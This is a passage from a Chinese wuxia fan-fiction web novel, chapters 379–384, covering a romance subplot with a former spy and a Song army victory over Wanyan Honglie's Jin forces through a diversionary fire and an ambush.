此时在她的概念中,自己只要暴露了,就不可能有活命的机会,甚至死了也许还是最好的选择,她见过太多折磨人的手段,实在是叫人生不如死。 “我……你对我并不重要,但是……” 陈子云正要说出口,却被一声咳嗽打断了。 “咳咳,先生,还是让学生来,毕竟是我中了她的圈套。” 牛在我不知何时从房间里出来了,连陈子云也是等他出声的时候才发现了他,看来是故意收着脚步声摸过来的。 “哼,好,先生不妨碍你。” 陈子云没好气的一甩衣袖就走了,最是见不得这些小家伙的儿女情长,说不定心中还有些,自己徒弟有了媳妇忘了师傅的酸味。 “你的那些资料我烧了,以后你就自由了,不用再做这些……” 牛在我看着栁寰香道。 陈子云那只关注着后面的耳朵,顿时就是一激灵,蠢材,哪里有这样跟女孩子聊天的。 “不用做什么,为什么不说出来,你自己也不是间谍吗。怎么就容许你来经过做内应,就不能允许我做暗探?” 栁寰香此时也不知道是哪里来的怒气,面对明显是牛在我的示好,却是不想就这般的的接受,好像只要他接受了,就会一辈子抬不起头来,尤其是在这个男人面前。 可是也怪了,她做了这些年的勾当,哪里还会将自己的脸皮和颜面放在心上,可不知为何就是不愿意在这个男人面前,让自己低人一等。 “夫人!” 牛在我很是惊讶于对方的强硬姿态,他明明是来解释的,是来选择原谅她的暗算的,怎么会受到对方这般的对待。 “夫人,什么夫人,我叫栁寰香,不是什么夫人!” 栁寰香气的两颊涨红。 “对,是,是我糊涂了,柳小姐。” 牛在我其实在来之前,已经看过了这位柳小姐的资料,可也不知道是不是过于重视,导致他有些紧张,而陈子云的刚才的态度,又让他一时之间忘了,就按照以前的习惯给叫了出来。 “你本来就是个糊涂蛋。” 栁寰香不由得嘴角一翘,可随即就按了下去,想到对方不久前还因为自己跟完颜洪烈的算计而差点丧命,她只能板起脸来。 儿女情长,对她这样的人来说,太不现实,也太奢侈了。 你不能指望,一个长期混迹在最肮脏的场合的女人还能保持着纯洁,这份纯洁不止是身体上的,也是心灵上的。 那些所谓的出淤泥而不染的传奇,只可能存在于那些文人墨客的笔端,在现实中实在是太不可思议了。 别说什么莲花自洁,你不去看看那深埋淤泥地下的莲藕,难道他不是荷花的一部分吗,人们只是看到了那化成鲜花的表面,却不知他的的根本早就是千疮百孔。 就好比她栁寰香此时的摸样,虽然颜色未衰,甚至在这些衣裙的装饰下还能演绎出我见犹怜的媚态,可她的心早就枯萎了,没有玉露琼浆是滋养不了这颗对这世界绝望的心灵的。 何必再连累他人。 “你让开,让我走,或者……你就杀了我。” 栁寰香低着头就往前撞去,她也是下定了决心了,如今宋金大战,自己的那位仇人说不得就可能自己死在战场上了,也不用自己再这般作践自己了,要是牛在我非要为难她,不如就先自我了断的好,省的在这地狱般的人间受罪。 牛在我显然也是被栁寰香的决绝给惊住了,一时不知道要怎么说,自己已经将那些记录着她不好的过去都烧毁了,不明白为何她还是这般的,难道自己在她心目中真的就没有一丝可以留恋的,以前的那些也不过是她设下的圈套而已,丝毫没有半点真情。 一口咸甜涌上他的喉咙,如陈子云所说,他本来就是内伤未愈,胸中就聚集着一堆淤血,如今被栁寰香这样一激,心情起伏,自然就压不住伤势了。 “噗……” 只见一口红中带黑的血块就从牛在我口中喷涌而出。 “啊呀!” 栁寰香也是被牛在我这一口血给吓的不轻。 ”你?” 还不等她问询,牛在我又是一口血吐了出来,这次的血更加想鲜艳,没了刚才的黑色沉淀。 “你怎了?我不过是随意说了一句话,你如何这般?值当吗?” 栁寰香终究不是真的绝情之人,见牛在我如此伤心吐血,只以为是自己的伤了他,顿时对这个比自己还小些的男人,产生了几分愧疚。 “不……怨你,是我……是我自己,自作自受。” 牛在我自然是知道,自己吐的这一口血,栁寰香不过是诱发而已,真正的病根还是在当初的那场刺伤受的内伤未愈上。 第三百八十章 金国的陌路 可真要是扯起来,牛在我是难道真的不记得了吗,那场本来应当手到擒来的刺杀,不就是因为栁寰香的出卖,才让他差点命丧黄泉的吗。 可怜啊,陷入情爱中的男人跟女人一样,只想着眼前人的种种好处,却是将对方的缺点给都忽视了。 “你还不叫你先生来给你医治,你这样吐血可怎么好?” 栁寰香有些恼怒的道,她本来就是不想再让自己陷进去的,可如今见牛在我这般摸样,又如何能一走了之,而那可恶的,刚才还摆出摸样要吓唬自己的那位先生,此时却是不见了踪影,心中不由的愤愤。 “咳咳……” 牛在我用手捂着自己嘴,可那鲜血还是从指缝间流了出来,不过此时的他却是没有半点的颓丧,反而为栁寰香的关心而暗暗高兴。 …… 陈子云趴在屋顶,用屋檐挡着自己的身形,当看到这里的时候,就知道自己这个平时表现的聪明的的大徒弟是彻底的沦陷了。 陈子云想,这样也好,他这趟来金国只是为了确认牛在我的安全,至于说男女情爱,他可没时间去插手。 如此一来,这边没事了,那他也就能放心的去两国边境了,那里才是如今天下最关键的地方。 至于说牛在我体内的伤势,以他的功力自己也可以慢慢疗养,而且,这不是正好有借口让那位栁寰香留下来照顾了吗,恐怕那小子也是这般打算的。 年轻人啊,可谁又没年轻过呢。 陈子云留下一张便条,就直接起身走了。 他这一路上,还看到好些人官差在街上巡逻,不用问也知道,肯定是刚才他放的那把火,将这些人给烧出来了。 平时只知道养尊处优,听歌唱曲的,如今六王爷府被人入侵,还被放火烧了大片的屋子,他们自然就要被重新想起来了。 如今一个个肚满肠肥的,在街上晃悠着,说是查找纵火的凶犯,可他们不去查找可能藏匿歹徒的地方,反而是见哪家店铺生意好就往哪家铺子里钻。 至于进去做什么,看掌柜的那死了爹妈的脸色就知道,肯定是被好好的刮了一层油了。 什么叫做趁火打劫,这就是典型了。 金国到了这地步,也该亡了。 陈子云看着这幅热闹的场景,自己这个真凶就这么坦然的从这些人面前经过也不曾理会。 甚至有两队眼色好的,还看着陈子云气势不凡,浅浅的做了一个揖,显然是将他当成这汴京城里的公子哥了。 陈子云笑笑,不由得也想到了当初的临安,其实也差不多,或者说,金国的这种风气也不过是跟临安那边学的。 不过从赵茵萝登基之后,这样的风气就被严厉的打压了,提倡节俭抑制奢华,将读书人跟武将的地位往上抬,可以说是如今南宋的基本国策了。 如今的临安城里,只有衣冠楚楚的学子,以及一身劲装气宇轩扬的豪杰,才会被人尊崇,至于那些当年的花花公子,都不好意思在街面上出现了。 当然,秦楼楚馆,倒还是欢迎这些人的,毕竟也是高消费的地方,给国家交的赋税也是一大收入,没必要彻底杜绝。 可这就是如今讲个国家的差距了,从这点上看,两个国家的胜负就已经定了。 如今的金国,不管是皇室也好,还是当朝百官也好。掌权的都是那些利欲熏心,只知道争权夺利,没有改革之心的人。 就算有个完颜洪烈还算有几分报复,可这些年的软禁,已经让这位六王爷跟不上时代的脚步了,相比于南宋的突飞猛进,金国不过是苟延残喘而已。 不过,不得不夸赞这位六王爷一番,如果前线不是有他在,估计这会儿早就被杨康跟郭靖的军队打穿了。 看来这些年,这位被软禁的王爷,倒是没有真的浪费时间,更没有自甘堕落,而是在研究兵法战策呢。 陈子云不由得想起,当年自己跟王道乾一起算计对方的事情,可惜啊,那位却是将自己的命都算上了。 要不是赵茵萝知道内情,后面给这位自毁前程的英雄人物给正了名,如今王道乾这三个字,估计还要被钉在历史的耻辱柱上呢。 可这煌煌历史中,还不知道有多少这样的人物。 不说那由胜利者书写的历史,为了颂扬自己,抹黑了多少豪杰。 就说那些名不见经传的人物,也是大大的值得我们去敬佩一番的,毕竟历史不过是记录少数人的荣光,其他的合在一起不过是一场沉默而已。 陈子云就这么大摇大摆的走出了汴京城,就算是那设在城门口的已经算是戒严了的卫兵,也没有来盘问他,倒是对那些跟陈子云同时间出城的商贩们大肆的搜查。 彷佛就是在说,要是你不识相的交出一定的好处来,他们必然是要将这些货物扣下的。 不管你是买瓜卖瓜的小贩,还是囤积茶叶贩卖的巨贾,都逃不过他们的要挟。 虽然这些大商人,可能都有后台罩着,可谁的关系都是用钱供出来的,要是为了这么些丘八,就去找那些大老爷。 先不说,那些老爷会不会搭理,就算是应承了,恐怕这其中的花费也比孝敬这些兵油子的多的多,何苦来哉呢。 甚至陈子云还看到有些货车上是拉着一些军火之类的违禁品的,而那些看城门的明显是都看到了的。 非但没有去拦截,甚至连一半的出门费都没收,显然是清楚哪些是他们这些丘八得罪不起的。 这就是最后的疯狂了。 陈子云笑着出了这个注定要被历史抹去痕迹的王朝。 …… 从汴京到如今的两国交战之地,也就不到五百里的距离,而且这个距离每天几乎都在缩短。 除了那些城池可以让金军在里面固守一段时间,那些在野外作战的军队,根本挡不住如今士气正弘的南宋军队。 何况,两军不仅在兵力上此消彼长,关键还有那些带军队的将领,金军这样的政治氛围下,如何会有优秀的将领出现。 第三百八十一章 国战将定 要知道,军事不过是政治的延伸,在如今的金庭,有那样的一群官员,他们军队的将领的素质也就可想而知了。 但凡有点远见的文臣官僚,为了稳固自己的地位,就不能不培养亲近自己的武将,而金庭几位如今负责边防军事的将军,除了完颜洪烈就都是各个文官集团的代表。 他们之间平时就是相互倾扎,就算此时完颜洪烈能把这些人强行的扭在一起,可要是说要让这些人发挥出多少的战斗力,那就有些异想天开了。 一群匍匐在文官脚下,只知道保住自己权势的武将,心思全在争名夺利上了,哪里还有功夫练兵打仗。 况且这些年,他们只以为南宋军队还是他们印象中那不堪一击,被他们先辈打的落荒而逃的那些。 所以,当他们发现自己自己被南宋军队打的毫无还手之力的时候,他们才是真正的慌了。 …… 陈子云从容的路过金国的防线,顺手解决了几队金国的小队骑兵,一开始他还以为这些都是金国派出来的斥候,到了后面才觉察出,这其中起码有一半应该是前线的逃兵。 陈子云先是愕然,毕竟金国以往的战绩可是以彪悍着称的,谁能想到,曾经纵横无敌的金国骑兵竟然未战先逃了。 陈子云心里暗暗计算着,要是连路上都是金国的逃兵了,那金国固守的那些营寨里,肯定也是将士无勇,军士无心了,这样的军队又如何能守得住南宋军队的进攻。 看来估计等自己到了地方,两军的大战也就差不多该结束了。 “老黑左转,咱们不去前线了,就找个地方住下来,等着那金国的败军上门,说不得还能抓着个大王八。” 陈子云从马车中探出头来,拍了拍老黑的巨型牛屁股道。 “哞……” 老黑长吟一声,招呼正在追着它奔跑的小黄上了自己的脊背,随后就是一个转弯,将刚往车里回钻陈子云带了一个趔趄。 陈子云抬头望去,只见小狐狸在老黑背上手舞足蹈,就像是一个喝醉了的粗鲁汉子在街头狂醉乱舞。 陈子云没好气的随手一指,一道柔和不过的劲道打在小狐狸的右脚上,直接就将这刚才还在看自己笑话的小东西打了一个狗吃屎。 气得这小东西狠狠的在老黑粗壮的牛背上抓了几爪子,可老水牛全然没有感觉,只以为是自己的好伙伴给自己挠痒痒呢。 …… 杨康以女帝特使的身份掀起宋金两国的大战,要说没有心理压力那也是强撑的着。 可当时郭靖已经出手,而当时的谈判代表团有得到过赵茵萝的暗示,只要金国示弱,就要将最无礼的要求提出来,他们的得失不在于一城一地,而是要整个北方。 当时赵茵萝的这个决定,自然也是有大臣反对了,认为南宋如今发展一片良好,为何不再等等。 如今金国正在肉眼可见的衰退,等再过些日子,他们都有把握,不费一兵一卒,就能不战而屈人之兵,没必要冒这样的风险,去主动挑起战争。 这些大臣倒不是什么贪生怕死,他们提出的也是切实可行的意见,但是他们的视界终究是狭窄了一些,看不到金国更北的蒙古,正在以不可思议的程度崛起。 可赵茵萝也不能因此就怪他们没远见,如果不是陈子云的再三提醒,她也不可能相信,一个常年臣服在金国之下的属国,一个以游牧为生,连基本农耕都没法满足的国家,会有那样的力量。 虽然陈子云说,他会竭尽全力,拖延蒙古草原的统一。可赵茵萝也不敢将所有的希望都压在陈子云一个人的身上。 何况,要以一己之力对抗一个国家,实在是有些痴人说梦了,就算那个人是自己最相信的。 所以赵茵萝直接给杨康带去的命令就是九战一谈,也就是说要他将九分的力气用在准备战争上,而所谓的谈判,只留下一分力气,做做样子即可。 所以杨康才会在郭靖出手之后,直接下令追杀完颜洪烈,以此封住所有人的口。 既然已经都要杀对方主帅了,那这仗不打都不行了。 杨康这些日子以来,几乎都没有睡过一个好觉,天天就待在主帅军帐中,研究着任何可能的取胜机会。 每每想到好计策,就把郭靖拉起来一起商讨,搞的两人即使功夫深厚也不自觉的就积累起了厚厚的黑眼圈。 郭靖还好些,除了刚开始的几天,硬被杨康拉着熬了几天,到后面实在困了,倒地就睡。 他的性子,本来就是最是心安容易满足的,自然睡的香甜。 反而是杨康,这个如今的南宋军主帅,压力真的就好比肩扛大山了。 虽然这些年在赵茵萝身边没有少学习兵法战策,可纸上得来的东西,终究少了几分实在感。 没有足够的时间历练,光靠在沙盘上模拟出来的战争,终究是当不得真的。 在这里,可不是口头上计算一番后勤辎重就有援兵就真的将所需的物件给送来的。 受了伤的军士也要小心的安置,还要十分注意自己营寨附近的水源会不会给敌方下毒。 甚至先军马突然发病,上吐下泻也会让杨康这个第一次带兵的主帅睡不着觉。 也真是难为他了,不仅有自己的野望,还有陈子云跟赵茵萝,甚至是那位大师兄的殷切期盼,他不能有丝毫的放松。 而他这种压力也不是白来的,在指挥军队的几次事故中,就有好几次都是因为他缺乏相应的经验导致的。 虽然不至于说是功败垂成,但也确实是放过了好几次能取得更大的军事效果的机会。 手底下有些个老资格的将领也没少因为这些给杨康上脸色,要不是谈判团来的时候,顺便将尚方宝剑带来了,说不得那些人早就要将杨康架空了。 毕竟谁都看得出来,如今宋金这一场国战,胜利的天平早就向南宋倾斜了,如果他们谁能将杨康挤下去,自己取而代之。 第三百八十二章 逃兵 那这百年才有一轮回的灭国功勋,可就是他们的囊中之物了,在如今这个时代,这样的军功,足够一个家族坐吃好几代了。 有人曾说,利益是这个世界的核心驱动力,那么这场大战中的利益,就真的足够让任何人付出一切去争取,或者说是抢夺了。 好在杨康撑过来了,虽然代价也不小,可他如今已经算是在这里站稳了,不用再仗着挂在一边的尚方宝剑了。 这把宝剑注定是不能随意出鞘的,因为它最大的威慑就是它还在剑鞘里的时候,一旦所有人都见识过了它普通不过的真身,那它的威严就要少了大半去。 “报主帅。” 帐外有人传报,杨康跟郭靖都是精神一震,这个时候来,一定就是有大的发现了。 “报。” 杨康大声道。 “禀告主帅,我方斥候,发现金军出现许多骑兵,分股从后方而出,疑似逃兵。” 那斥候就在帐外汇报着,就算是隔着营帐的帷幕,两人还是能清晰的感受到对方的激动之情。 逃兵,这两个字,就算是最底层的军士都知道,一场战役中,只要一方出现了不可控制的逃亡现象,那就说明这场仗胜负已分了。 “康弟弟!” 郭靖也是熟读兵书的人,虽然在实际应用上比不上杨康,可这样的基本常识自然是不会缺的,于是用激动的语气呼唤了一声杨康。 杨康一挥手,制止了郭靖的冲动。 “再探,小心对方的疑兵之计。” 杨康接连下达了几个命令,让传令官分派各营。 皆是备战,打探之类的安排。 千万别小看这些命令,先后主次都是有大学问的,要不是这段时间杨康已经差不多摸透了这军营中的活计,一般的主帅可没他这么镇定自若。 “郭大哥,你别急,不是不给你任务,是有个最重要的必须要你去执行,别人我不放心。” 杨康一句话就让在旁边已经心急难耐的郭靖给摁了下去。 “好,康弟弟,你赶紧下令,不管是什么任务,我一定完成的。” 郭靖拍着胸脯道。 “不急,还要等探子将确切的消息给传回来,才能做出最后的安排。” 杨康道。 …… 金军主帅府中,完颜洪烈的书房也在挑灯夜战,与刚来宋金边境的时候比,如的完颜洪烈显然是憔悴的多了。 不说别的,就那明显宽大了的袖袍和红肿的眼圈就足够说明这位大金国的六王爷,这些天里是如何的疲惫了。 他此时正在伏案仔细分析从各方报上来的消息,也是因为这次本来他只是来代表金国与南宋谈判的。 没想到会有这么一场大战,所以身边的军事人才并没有都跟来,而沙通天那一类的江湖人保护他还算得力,可要是说军伍之事,那真就是一窍不通了。 所以,这些天来,他除了尽力调和这军营中的各种利益纷争,用自己的王爷身份压着这些骄兵悍将,让他们听从子的防守策略。 唯一能做的,就是将这整个战局牢牢的把握在自己的手中,这也是没有办法的事情。 经过这些天的接触,完颜洪烈也了解了这些平时习惯了在边境作威作福的武将的德行。 虽然说,他们的战力是不差的,可都是一副自行其是,不管不顾的顽劣个性,就算是那位名义上的主帅的命令也不被放在眼里。 没办法,金国的军队,大多还是继承了以前的宗族传承制度,所以说军中的将领统帅的基本是自己的宗族子弟。 这是金军曾经战无不胜的力量源泉,如今却也成了限制金国发展的毒瘤。要是放到平时,完颜洪烈还会想着先把这军中的弊病给治理一番,可如今他却是不敢的。 万一激起兵变,他又没有从汴京调来的禁军镇压,那岂不是自毁城墙。 而且,这些天,他也不是一次两次朝着京中求援了,可得到的答复不过是自行征召。 完颜洪烈当时差点就被气的直接骂娘了,自行征召,如今这两国边境已然开战,能跑的人早就跑了,剩下的都是些老弱妇孺,他去哪里征召! 面对前有强敌,后无援兵的绝境,也是他完颜洪烈意志坚定才能在这种情景中还能扛起大旗,没有让金军在吃第一场败仗之后就崩溃。 完颜洪烈有时候想起,那些年被幽静的岁月,倒是那时候的孤寂,让他有了现在的坚忍的心境。 “王爷?” 有人在窗外小声的叫道。 “嗯?!” 完颜洪烈有些不耐的哼了一声,他早就交代过,不得在自己整理消息的时候打扰他。 “还请王爷恕罪,刚才有人来报,说是军中有逃兵。我本来也不敢来打扰王爷的,只是那兵头子……” 那位本来就是这府里的管家,语气埋怨的嘀咕着。 还没等这位只想着讨好完颜洪烈的老管家说完,那书房门已经砰的一声被人从里面直接猛的推开了。 老管家本来是贴着门窗回话的,这一下哪里能躲的开,直接一巴掌似的打在了他的老脸上,直接把那肥嫩的富贵白脸儿打的抖了三抖。 “哎呦……王爷饶命呢。” 老管家忍着痛,就给完颜洪烈跪下了,不住的磕头。 “你刚才……说,逃……兵?” 老管家只觉得此时的完颜洪烈完全不复那位看着温和贵气的六王爷,而是从地地狱里爬上来的鬼神,浑身都散发着一股让他不寒而栗的森森鬼气。 “是,不,不是,是……” 老管家已经被吓的语无伦次了。 完颜洪烈没有再跟这拎不清的老仆人废话,直接自己走出了后院,朝着前庭而去。 “传令兵何在?” 完颜洪烈的一声大吼,直接将整个府里的人都惊动了,也不管是在歇息的,还是在待命的,一股脑的就朝着发出声音的地方涌来。 “哪里的逃兵?” 完颜洪烈见人就问,脸上就算再怎么压着自己的怒气,眉毛也已经皱的成一条缝了。 “大帅,左右两军,都有军士逃出城去了。” 一个一看就是底层军士的人道,语气中还有几分埋怨。 也难怪他,如今金军没有了援助,连基本的后勤都没法保障,不说本来就是吃了败仗的,士气就低人一等。 第三百八十三章 失火 如今又补给不足,还要时刻的守卫城池,精神不得一点放松,军中早就怨声载道了。 要不是这位传令兵还有几分血性,他也说不得要跟着那些逃出去的人一起走了。 “为何?为何?为何要跑!噗……” 完颜洪烈直接一口鲜血就吐了出来。 “大帅……” “王爷……” 府中顿时乱作一团,扶人的扶人,找大夫的找大夫,还有些直接被吓得六神无主的,就在一旁子团团转。 完颜洪烈挣扎的从那些人中间挣脱了出来,扯着那个传令兵的脖颈厉声道。 “把所有的将领都给我叫来,快。” “是,是,是,大帅。” 传令兵被完颜洪烈的模样给吓的两腿发颤,连滚带爬的就往外传信去了。 …… 宋金两国的攻防战再次交锋,一方是想功于一役的年轻主帅杨康,亲自到了前线主持战斗。 另一方是善于运筹帷幄的大金国六王爷完颜洪烈,此时也是站到了城头上,时刻注意着两军的交锋。 两人都知道,这一场战斗,很可能就决定了两国最后的命运。 杨康看着自己的军队攻上城头又被打下来,再攻上,再被打下来。 后面的将领都开始怀疑,斥候传回来对方已经出现逃兵的消息是不是金国那位素来多阴谋的王爷的诡计了。 虽然此时的金国军队被宋军压着打,可这城头上明显是坚挺的,其中眼力好的,还能看见那个身穿华服的完颜洪烈还在亲自督战,怎么看也不像是士气低迷的样子。 杨康眯着眼盯着那个把自己当定海神针一般,供在城头的完颜洪烈,探究着对方的真正意图。 “大帅,我们死了很多兵士了,金国的城墙太高了,这样的强攻,恐怕是……” 有个素来支持杨康的老将,也姓杨,往上再数几代,可能还跟杨康沾亲带故的,所以对杨康这位空降来的少年主帅还算支持,起码比那些阳奉阴违的将领们好的多。 “杨老将军,您先别急,你可看到完颜洪烈在那城头上了?” 杨康没有直接回答对方的疑惑,反而问道。 “自然,虽然老朽年纪大了,可眼睛还没昏花,那黄袍的完颜自然是瞧得见的。” 杨老将军不解杨康的意思,回答道。 “不错,那杨老将军可记得,咱们这位六王爷,何时上过城墙来?” 杨康继续问道。 “这……” 杨老将军蹙眉,朝着后面看了看,见那些将军纷纷摇头才继续说道。 “却是第一次见,不过这也没什么稀奇,主帅上前,不过是鼓舞士气的一般手段而已,如今大帅你也不是身在险地吗?” “不错,主帅亲临战场,自然是能鼓舞士气的。可有两点不对,第一主帅出现在阵前,但是不应该穿这么明显的衣服,这不是给士兵鼓舞士气,简直就是将自己当成了活靶子。 第二,杨老将军,你见过哪个主帅站在城头就这么一动不动的,好像生怕敌人找不到他似的。” 杨康道。 “这……确实奇怪。” 杨老将军瞥了一眼城头上那个显眼的身影道。 “嘿嘿,在我看来,完颜洪烈之所以这么做,唯一的理由就是他后背空虚,他没有信心能扛得住我们的进攻。 他在怕,他怕一旦他不能时刻出现在士兵的眼睛里,那这些人就会直接崩溃。 当然他可能也是在吓唬我们,想用空城计将我们吓退。” 杨康自信的笑着。 “按主帅你这么一说,倒也是的。” 杨老将军点头道。随后他就回头去跟那些有些不安的将领们去分析杨康说的情况了。 自然不可能所有人都能认同杨康的分析,但总有些人是觉得有道理的。 其实杨康之所以这么自信,也不是完全建立在他如今还没有实际证据的猜测之上,而是他派出了自己的杀手锏。 只要那边已成功了,那就不管完颜洪烈到底是故布疑兵,假意放出的逃兵诱惑他进攻,还是真的在上演空城计,都会白费功夫。 就好比山脚的人们在小溪旁设立的堤坝,平时用来节流用水还行,可一旦山洪暴发,那不管是岩石铸成的堤坝,还是泥巴糊起来,都一样。 山洪只会一样的摧枯拉朽,不会因为你是什么做的而手下留情,小堤坝就是小堤坝,是拦不住大洪水的。 …… 完颜洪烈此时站在城头上,已经顾不得随时都可能朝着他射来的利箭了,全靠守在一旁的亲卫格挡着。 要是仔细看他的面颊,就会发现,他已经是满头大汗了,要知道完颜洪烈虽然不是什么高手,但是他手里的功夫是有的,在普通人里可能还算是好的。 骑射也是精通的,要不然也不可能懂得如何行军打仗。 可他此时整个人就像是虚脱了一般,要不是后面有人顶着他的腰,这会儿他早就倒下了。 军队的调度,心里的压力,手底下那些将士的不用命,完颜洪烈觉得自己不仅在跟南宋的军队交战,更是在跟他们自己的金国朝廷交战。 要是支援能来,后备充足,哪里会有什么逃兵,没有逃兵又如何会让军队的士气如此低迷,要不是自己撑死了在城墙上,这时候金军早就都跑光了。 可恨,可气,可怜,自己为何不早生个三十年,要是当年的金国,当年的军队,他要是能坐上那个位置,何愁不能一举夺得这大好的江山。 “起火了,起火了……” 不知道是哪里开始呼喊的,顿时惊起了所有人的注意,当他们望向那个火红之地,完颜洪烈心里一凉,完了。 是城池的西北边,那里正是军营辎重的储备所在地,那里一旦被烧,这满城的军士就要被活活饿死了。 “快去救火呀,粮食,粮食,军械……” 有人自发的就往那边去了,连城墙上的战士都跑了下去。 “不对,这不是在城内,是在城外,是敌人的诡计,不要去,不许去。” 完颜洪烈顿时就明白了,而且最关键的是,不管是哪里着火,此时守城才是第一的,要有命在,才有吃粮食的机会,命都没了,还保粮食做什么,救火做什么,一定是宋军的诡计,不是也是。 第三百八十四章 埋伏 可任凭完颜洪烈怎么呐喊,怎么拔刀相向,除了那些死忠于他的亲卫之外,军士不管去没去救火的,都没有心思在城墙上继续作战了。 看着宋军越来越多的登上城头,完颜洪烈想亲自举刀抗敌,可身边的亲卫见势不妙,立刻就裹挟着他下了城头。 ”啊……放开我,啊……杀……“ 完颜洪烈愤怒的将手中的长刀掷出,随之而去的还有他那不甘的心。 可所有的不甘心,所有的不愿意也不过是一时的,当完颜洪烈冷静了些,看到那些毫无头绪,四处乱跑的兵士就知道,大金国的国运已经所剩无几了。 当到了城门口的时候,完颜洪烈已经不用人夹着跑了,自己也想找匹上好的快马,能早些逃出去。 毕竟他这样的身份,逃出去一切才有可能,要是被南宋军队抓住了,那这辈子估计就要在临安城里当个俘虏了。 死估计是死不了的,战胜国为了体现慷慨大度,为了能尽快的将大金的国土收拢,让臣民归附,他完颜洪烈就是个最好的榜样,不会轻易杀他的。 “王爷,上马。” 接应的人终于是来了,完颜洪烈也顾不得,直接就跳上了马,带头朝着北城门外而去,如今大军溃败,按理说城门是不能随便开的,可为了活命,这些个已经顾不得了,况且,如今的局势,这城门开不开,不过是败的快慢的问题,已经回天无术了。 完颜洪烈快马加鞭,一口气奔出了数里,见后面并没有追兵跟来,心中终于是放下了一口气,看来这城池还是为他挡了灾了。 可还没等他缓过气来,一队人马突然从一旁的松林里杀了出来。 “杀啊,活捉完颜老贼。” 领头的是一个壮硕的年轻人,一身甲胄,衬得他英武不凡,手中一杆长枪,舞动之间呼啸之声不断,一看就知道是个难得的猛将。 “王爷开走,属下去拦他。” 身边的亲卫首领一踢马腹,带着完颜洪烈的亲卫军就朝着那年轻的南宋小将冲了过去。 亲卫军固然勇武,可人数上与对方还是差距颇大的,完颜洪烈一声不答,忍痛继续前行,他知道这些人是挡不了太久的,他不能辜负了他们的牺牲。 这个时候,自己绝不能妇人之仁。 如完颜洪烈所料,这些亲卫没有撑多久,就被郭靖带领的南宋小队给直接剿灭了。 这次郭靖按照杨康的安排,直接绕道来到了城池的后方。第一个任务就是在城墙边的树林里放火,让金国的军队以为是自己的粮草被烧了,坏了他们的军心士气。 还有就是碰运气的埋伏在北城门外的松林里,等着有人从里面跑出来,杨康让他等半柱香的时间,要是没见到完颜洪烈就直接放弃,以免被蜂拥而出的金国败军给裹挟了。 毕竟郭靖带过来的人也没多少,不可能跟最少还有上万败军的金军对抗,为了一个金国败军的王爷,赔上郭靖的命,那可就是大大的不划算了。 当郭靖看到那个穿着明晃晃锦袍的人物出现时,本以为自己能抓个大货了,这种感觉就像小时候跟自己的父亲进山打猎一般,遇到打猎物自然是欣喜的。 可没想到,本以为是手到擒来的事情,却被一队用命来堵路的亲卫给破坏了。 “将军,我们赶紧追。” 有人在郭靖身边提醒道。 郭靖看了他一眼,又看了一眼那些倒在自己脚下,还想爬过来抱住他的腿脚的金国亲卫军们。 “不追了,城内的败军就要出来了,我们先撤退。” “是。” 所有人应命。 郭靖不单单是对这些赴死之人的敬畏,也是记着杨康的话,金国已经是秋后的蚂蚱,蹦跶不了多久了。 这个时候,为了一点军功,多死一个战士都是可耻的。 后面的战役也要彻底改变战略了,不会再有这样强行攻城的事情了,围而不攻,用政治的手段逼迫他们的投降,才是上策。 不战而屈人之兵,这句话可不是说说的,以往大国打小国,用的就是声势压人,没几个明白人会往石头上撞的,图啥? 郭靖带着人重新隐入松林中,这些逃兵是不会深入这样的地方的,正所谓逢林莫入,这乃是兵家大忌。 完颜洪烈带着沙通天几个护卫没命的往汴京方向跑,只有那里才有足够的守备力量,可以挡住南宋的军队。 此时跟着完颜洪烈的沙通天几人,心里更是焦急后悔,本以为是跟着这位大佬来建功立业的,哪里想到会遇到这样的事情。 在军阵面前,他们的武功就简直跟儿戏一般,要是跟戏文演绎里一样,有什么沙场斗将,他们倒是可以勉力上去的。 无非就是坐在马上跟人家打一场而已,可面对如洪水一般涌过来的南宋军队,他们连出手的勇气都没有。 在城头上看着下面,密密麻麻的都是人头,好像跟平时看到的蚂蚁一般,根本望不到边。 他们这才了解,为什么叫做人过一万就是无边无际了。 他们这些只知道江湖斗争,没有经历过真正战争的江湖汉子,如何能接受这样的视觉冲击。 所以,几人很快就决定了,只是守在完颜洪烈身边,寸步不离的保护他,绝不去做什么军中取大将首级的稀罕事。 沙通天几人不懂军事,也就不知道为何打着打着,大金的军队突然就奔溃了,不就是看到城内着火吗,而且以他们的眼力,觉得那火明显是在城外的,可这在他们眼中无坚不摧的金国大军,就因为南宋的这故布疑阵的一计,直接就崩溃了。 他们一路保护着完颜洪烈逃窜,在城门口舍弃了亲卫军,为了加快速度,最后连身上的战甲都脱了。 路上遇见的城池也不敢停留,只是换了马,备了些干粮直接朝着汴京城中狂奔而去。 他们几人跟完颜洪烈都知道,这个时候回汴京,估计很难跟金国朝廷交代,到时候,完颜洪烈说不得就会被金章宗当做靶子,好让他抗下所有兵败的责任。